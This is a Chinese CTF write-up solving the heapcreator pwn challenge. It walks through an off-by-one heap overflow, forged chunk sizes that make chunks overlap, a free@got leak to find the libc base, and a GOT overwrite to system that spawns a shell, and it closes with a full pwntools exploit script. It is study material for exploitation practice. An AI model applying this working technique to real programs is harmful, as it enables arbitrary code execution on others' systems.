0%

hitcontraining_heapcreator

保护

image-20240710233212702

代码审计

​ 一共有create_heapedit_heapshow_heapdelete_heap四个函数,edit_heap函数中有一个堆溢出漏洞,只可以溢出1个字节。

image-20240710181416024

​ 本题中,每malloc一次会创建一个指针chunk和一个内容chunk(其实就是两个地址空间,分别存储着指向chunk中数据的指针,和chunk的数据),而free一次也就是把这两个地址空间都释放掉了。show_heapedit_heap函数中打印和修改的内容都是由指针决定的,指针指向什么就打印和修改什么。

思路

改写_size_

free_got = elf.sym['free']
add(0x18,b'a'*8)
add(0x10,b'b'*8)
payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
#往_chunk0_中写入'/bin/sh\x00',后面free(chunk0)的时候其实就是system("/bin/sh")
edit(0,payload)

​ 先创建两个chun0x18是为了在往chunk0中写内容时,直接覆盖掉chunk1的指针chunk的前8个字节,然后就可以利用溢出的一个字节改写chunk1的指针chunksize

如图,指针chunksize值已经被改写成0x41

image-20240710192301972

​ 此时,chunk1的指针chunk与内容chunk,已经部分重叠(因为是指针chunksize被改写成0x41,内容chunksize还是0x21,所以如图

image-20240710192301977

泄漏_free_addr_

delete(1)
payload = p64(0)*4+p64(0x30)+p64(free_got)
#指针前面0x30是能存储数据的大小,不能改变
add(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("free_addr")

delete(1)后我们可以看到fastbins有两个不同大小的fastbin_chunk,如图

image-20240710212229702

​ 然后我们再申请0x30chunk用来存储数据(还有0x10的空间存储prve_sizesize),又因为fastbins中正好有0x40fastbins_chunk,所以0x12c2040及下面0x40的内存空间就成了新chunk的内存chunk0x12c2060及下面0x20的内存空间就成了新chunk的指针内存。

​ 然后我们把free@got写到内存chunk0x12c2078地址里,这个地址存储着指针chunk里的指针,所以现在指针就是free@got,而show函数打印出来的数据是该指针指向的内容,也就是free@got指向的内容。

image-20240710215550221

覆盖_free@got_表

libc_base = free_addr-libc.sym['free']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(1,p64(system_addr))
delete(0)

​ 同样,edit函数修改chunk内容,也是修改指针chunk的指针指向的区域。得到system的地址后,直接用edit函数修改chunk1的内容即可。

image-20240710220849174

最后直接freechunk0,便能执行system("/bin/sh"),得到shell

exp

from tools import *
# p = process('./a')
p = remote("node5.buuoj.cn",28974)
debug(p,0x400DC4,0x400DB8,0x400DD0,0x400DDC)
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Content of heap : ",content)
def show(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
def delete(index):
p.sendlineafter("Your choice :",str(4))
p.sendlineafter("Index :",str(index))

free_got = elf.got['free']
add(0x18,b'a'*8)
add(0x10,b'b'*8)
payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
edit(0,payload)

delete(1)
payload = p64(0)*4+p64(0x30)+p64(free_got)
add(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("free_addr")

libc_base = free_addr-libc.sym['free']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(1,p64(system_addr))
delete(0)

p.interactive()

拿到flag

image-20240710222113464